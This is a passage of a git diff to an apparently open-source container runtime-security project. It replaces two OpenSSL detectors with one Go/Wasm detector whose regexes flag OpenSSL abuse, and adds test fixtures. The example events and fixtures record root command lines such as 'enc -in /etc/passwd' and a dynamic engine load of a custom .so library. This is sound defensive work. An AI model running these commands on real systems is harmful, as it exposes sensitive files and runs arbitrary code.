4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2738178, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-debian-11", - "time": "2025-04-10T14:17:32.090307890Z", - "aggregation_info": null -} -*/ diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_FILE_ACCESS/main.go b/event-processor/detector/wasm/CS_RT_OPENSSL_FILE_ACCESS/main.go deleted file mode 100644 index ab42c549..00000000 --- a/event-processor/detector/wasm/CS_RT_OPENSSL_FILE_ACCESS/main.go +++ /dev/null @@ -1,367 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - "regexp" - - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_OPENSSL_FILE_ACCESS" - Name = "OpenSSL: file reading and writing" - Description = "The detector detects if the OpenSSL utility was used to read and write arbitrary files, which may indicate an attacker's attempt to gain access to sensitive data and change the system behavior." - Version = 1 - Author = "Runtime Radar Team" - License = "Apache License 2.0" -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_EXEC": {}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -var ( - fileAccessArgs = regexp.MustCompile(`(?:^enc$)|(?:^enc.*-(?:in|out))`) -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - exec := ev.ProcessExec - args := exec.GetProcess().GetArguments() - - if fileAccessArgs.MatchString(args) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - - return resp, nil - - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - // Nothing here - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NTAyOTQwMjU1OTE0MTY3NDoyNjk5MQ==", - "pid": 26991, - "uid": 0, - "cwd": "/root/openssl", - "binary": "/usr/bin/openssl", - "arguments": "enc -in /etc/passwd", - "flags": "execve clone", - "start_time": "2025-04-16T13:16:34.720332924Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5635, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NTAyODY3MDE0NjEyMTg2NDo2ODkx", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 26991, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NTAyODY3MDE0NjEyMTg2NDo2ODkx", - "pid": 6891, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-04-16T13:04:22.307312563Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5619, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NTAyODY3MDE0MDkyNTg2Nzo2ODkx", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 6891, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-debian-11", - "time": "2025-04-16T13:16:34.720331068Z", - "aggregation_info": null -} -*/ diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_SERVER_RUN/main.go b/event-processor/detector/wasm/CS_RT_OPENSSL_SERVER_RUN/main.go deleted file mode 100644 index dbc310e7..00000000 --- a/event-processor/detector/wasm/CS_RT_OPENSSL_SERVER_RUN/main.go +++ /dev/null @@ -1,368 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - - "github.com/gobwas/glob" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_OPENSSL_SERVER_RUN" - Name = "OpenSSL: SSL/TLS server start" - Description = "The detector detects if the OpenSSL utility was used to start the SSL/TLS server. An attacker can use it to upload and download data to and from the container." - Version = 1 - Author = "Runtime Radar Team" - - License = "Apache License 2.0" -) - -var ( - // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions - // which will be used by Detector. If function names are not applicable for - // a particular event type, such as "PROCESS_EXEC", leave slice empty or use - // wildcard "*". - triggerCriteria = map[string][]string{ - "PROCESS_EXEC": {}, - - // Examples: - // - // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, - // In order to process all possible functions leave right-hand part empty or use wildcard "*": - // "PROCESS_EXEC": {}, - // same as: - // "PROCESS_EXEC": {"*"}, - } -) - -var ( - s_serverInArgs = glob.MustCompile("s_server*") -) - -// main is required for TinyGo to compile to Wasm. -func main() { - api.RegisterDetector(Detector{}) -} - -type Detector struct{} - -func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { - return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, - }, nil -} - -func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { - resp := &api.TriggerCriteriaResp{ - Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), - } - - for k, v := range triggerCriteria { - resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} - } - - return resp, nil -} - -func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { - // Detector info added to DetectResp because detector info is always correlated to response, thus - // to avoid +1 Wasm call on detect. - resp := &api.DetectResp{ - // Default response indicates that nothing detected (this is redundant and put here just for reference, - // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). - Severity: api.DetectResp_NONE, - } - - event := req.GetEvent().GetEvent() - - switch ev := event.(type) { - case *tetragon.GetEventsResponse_ProcessExec: - exec := ev.ProcessExec - args := exec.GetProcess().GetArguments() - - if s_serverInArgs.Match(args) { - resp.Severity = api.DetectResp_MEDIUM // <-- threat detected - return resp, nil - } - - return resp, nil - - case *tetragon.GetEventsResponse_ProcessExit: - // Nothing here - case *tetragon.GetEventsResponse_ProcessKprobe: - // Nothing here - case *tetragon.GetEventsResponse_ProcessTracepoint: - // Nothing here - } - - return resp, nil -} - -/* Example event (JSON): -{ - "process_exec": { - "process": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NDg1ODgzMDc0MDM5MjEwMjozNzU1ODgx", - "pid": 3755881, - "uid": 0, - "cwd": "/root/openssl", - "binary": "/usr/bin/openssl", - "arguments": "s_server", - "flags": "execve clone", - "start_time": "2025-04-14T13:53:42.901582709Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5568, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDg1NjQwMDMwMzY2NDM4NDozNjg5NDgw", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3755881, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1kZWJpYW4tMTE6NDg1NjQwMDMwMzY2NDM4NDozNjg5NDgw", - "pid": 3689480, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-04-14T13:13:12.464855702Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-03-04T11:51:22Z", - "pid": 5556, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "e9db8d37b2ebde52f63ed8055253e38", - "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDg1NjQwMDMwMDQ5OTkzNzozNjg5NDgw", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533060, - "is_host": false - }, - "ipc": { - "inum": 4026533061, - "is_host": false - }, - "mnt": { - "inum": 4026533063, - "is_host": false - }, - "pid": { - "inum": 4026533064, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533064, - "is_host": false - }, - "net": { - "inum": 4026532932, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533065, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3689480, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "ancestors": [] - }, - "node_name": "cs-debian-11", - "time": "2025-04-14T13:53:42.901581011Z", - "aggregation_info": null -} -*/ diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_USE/main.go b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/main.go new file mode 100644 index 00000000..f86f5efe --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/main.go @@ -0,0 +1,275 @@ +//go:build tinygo.wasm + +package main + +import ( + "context" + "fmt" + "regexp" + + "github.com/runtime-radar/runtime-radar/event-processor/detector/api" + "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" +) + +const ( + ID = "CS_RT_OPENSSL_USE" + Name = "OpenSSL use for malicious purposes" + Description = "The detector detects if the OpenSSL utility was used to perform an attacker's scenarios: malicious code loading, reading or writing of arbitrary files, or data exchange via a TLS or SSL server or client." + Version = 1 + Author = "Runtime Radar Team" + License = "Apache License 2.0" +) + +const ( + ExecCustomLibLoad = "Detected that arbitrary code was loaded by the `%s` process, which was started using the `%s` arguments" + ExecFileRead = "Detected a file read attempt made by the `%s` process, which was started using the `%s` arguments" + ExecFileWrite = "Detected a file write attempt made by the `%s` process, which was started using the `%s` arguments" + ExecDataExchangeClient = "Detected that a TLS or SSL client for exchanging data was started by the `%s` process, which was started using the `%s` arguments" + ExecDataExchangeServer = "Detected that a TLS or SSL server for exchanging data was started by the `%s` process, which was started using the `%s` arguments" +) + +var ( + // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions + // which will be used by Detector. If function names are not applicable for + // a particular event type, such as "PROCESS_EXEC", leave slice empty or use + // wildcard "*". + triggerCriteria = map[string][]string{ + "PROCESS_EXEC": {}, + + // Examples: + // + // "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + // In order to process all possible functions leave right-hand part empty or use wildcard "*": + // "PROCESS_EXEC": {}, + // same as: + // "PROCESS_EXEC": {"*"}, + } +) + +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1129", + }, + }, + { + Id: "TA0005", + Techniques: []string{ + "T1140", + "T1027.013", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1570", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + "T1048.002", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1105", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1486", + }, + }, + } + + mitreTacticsCustomLibLoad = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1129", + }, + }, + } + + mitreTacticsFileAccess = []*api.MitreTactic{ + { + Id: "TA0005", + Techniques: []string{ + "T1140", + "T1027.013", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1486", + }, + }, + } + + mitreTacticsDataExchange = []*api.MitreTactic{ + { + Id: "TA0008", + Techniques: []string{ + "T1570", + }, + }, + { + Id: "TA0010", + Techniques: []string{ + "T1048.001", + "T1048.002", + }, + }, + { + Id: "TA0011", + Techniques: []string{ + "T1105", + }, + }, + } +) + +type opensslArgPattern struct { + pattern *regexp.Regexp + class string +} + +var ( + opensslArgPatterns = []opensslArgPattern{ + // Command for loading custom user library as crypto engine. + {pattern: regexp.MustCompile(`^engine\s(?:dynamic\s)?.*-pre SO_PATH:.*-pre LOAD`), class: "CustomLibLoad"}, + // Load custom user library using -engine option as part of other openssl commands. + {pattern: regexp.MustCompile(`^\w+\s-engine\s`), class: "CustomLibLoad"}, + // Read arbitrary files + {pattern: regexp.MustCompile(`(?:^enc$)|(?:^enc.*-in)`), class: "FileRead"}, + // Write arbitrary files + {pattern: regexp.MustCompile(`(?:^enc$)|(?:^enc.*-out)`), class: "FileWrite"}, + // Run a HTTPS client for data exchange + {pattern: regexp.MustCompile(`^s_client.*`), class: "DataExchangeClient"}, + // Run a HTTPS server for data exchange + {pattern: regexp.MustCompile(`^s_server.*`), class: "DataExchangeServer"}, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { + api.RegisterDetector(Detector{}) +} + +type Detector struct{} + +func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { + return &api.InfoResp{ + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, + }, nil +} + +func (d Detector) TriggerCriteria(ctx context.Context, req *api.TriggerCriteriaReq) (*api.TriggerCriteriaResp, error) { + resp := &api.TriggerCriteriaResp{ + Criteria: make(map[string]*api.TriggerCriteriaResp_FuncNames, len(triggerCriteria)), + } + + for k, v := range triggerCriteria { + resp.Criteria[k] = &api.TriggerCriteriaResp_FuncNames{FuncNames: v} + } + + return resp, nil +} + +func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectResp, error) { + // Detector info added to DetectResp because detector info is always correlated to response, thus + // to avoid +1 Wasm call on detect. + resp := &api.DetectResp{ + // Default response indicates that nothing detected (this is redundant and put here just for reference, + // as Severity == api.DetectResp_NONE == 0 when omitted (default zero value)). + Severity: api.DetectResp_NONE, + } + + event := req.GetEvent().GetEvent() + + switch ev := event.(type) { + case *tetragon.GetEventsResponse_ProcessExec: + exec := ev.ProcessExec + binary := exec.GetProcess().GetBinary() + args := exec.GetProcess().GetArguments() + + for _, opensslArgs := range opensslArgPatterns { + switch { + // Custom library load case + case opensslArgs.pattern.MatchString(args) && (opensslArgs.class == "CustomLibLoad"): + resp.TacticsCovered = mitreTacticsCustomLibLoad + resp.Reason = fmt.Sprintf(ExecCustomLibLoad, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + // File read case + case opensslArgs.pattern.MatchString(args) && (opensslArgs.class == "FileRead"): + resp.TacticsCovered = mitreTacticsFileAccess + resp.Reason = fmt.Sprintf(ExecFileRead, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + // File write case + case opensslArgs.pattern.MatchString(args) && (opensslArgs.class == "FileWrite"): + resp.TacticsCovered = mitreTacticsFileAccess + resp.Reason = fmt.Sprintf(ExecFileWrite, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + // Data exchange client case + case opensslArgs.pattern.MatchString(args) && (opensslArgs.class == "DataExchangeClient"): + resp.TacticsCovered = mitreTacticsDataExchange + resp.Reason = fmt.Sprintf(ExecDataExchangeClient, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + // Data exchange server case + case opensslArgs.pattern.MatchString(args) && (opensslArgs.class == "DataExchangeServer"): + resp.TacticsCovered = mitreTacticsDataExchange + resp.Reason = fmt.Sprintf(ExecDataExchangeServer, binary, args) + resp.Severity = api.DetectResp_MEDIUM // <-- threat detected + + return resp, nil + } + } + + return resp, nil + + case *tetragon.GetEventsResponse_ProcessExit: + // Nothing here + case *tetragon.GetEventsResponse_ProcessKprobe: + // Nothing here + case *tetragon.GetEventsResponse_ProcessTracepoint: + // Nothing here + } + + return resp, nil +} + +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } +} + diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/negative_benign_args.json b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/negative_benign_args.json new file mode 100644 index 00000000..6275c592 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/negative_benign_args.json @@ -0,0 +1,23 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/openssl", + "arguments": "version -a" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/positive_openssl_engine_load.json b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/positive_openssl_engine_load.json new file mode 100644 index 00000000..b5a24c74 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_OPENSSL_USE/testdata/positive_openssl_engine_load.json @@ -0,0 +1,277 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDY1OTkyOTExODg2OToyNzQzNjc2", + "pid": 2743676, + "uid": 0, + "cwd": "/root/openssl", + "binary": "/usr/bin/openssl", + "arguments": "engine dynamic -pre SO_PATH:./hostname.so -pre LOAD", + "flags": "execve clone", + "start_time": "2025-04-10T14:17:32.090308606Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-03-04T11:51:22Z", + "pid": 5520, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "e9db8d37b2ebde52f63ed8055253e38", + "parent_exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExOTAyMTQzNzoyNzM4MTc4", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026533060, + "is_host": false + }, + "ipc": { + "inum": 4026533061, + "is_host": false + }, + "mnt": { + "inum": 4026533063, + "is_host": false + }, + "pid": { + "inum": 4026533064, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533064, + "is_host": false + }, + "net": { + "inum": 4026532932, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533065, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2743676, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1kZWJpYW4tMTE6NDUxNDQ1NjExOTAyMTQzNzoyNzM4MTc4", + "pid": 2738178, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2025-04-10T14:14:08.280211442Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "containerd://e9db8d37b2ebde52f63ed8055253e3829175d82285cefa1c06014a8ff59b11c8", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-03-04T11:51:22Z", + "pid": 5508, + "maybe_exec_probe": false + }, + "pod_labels": 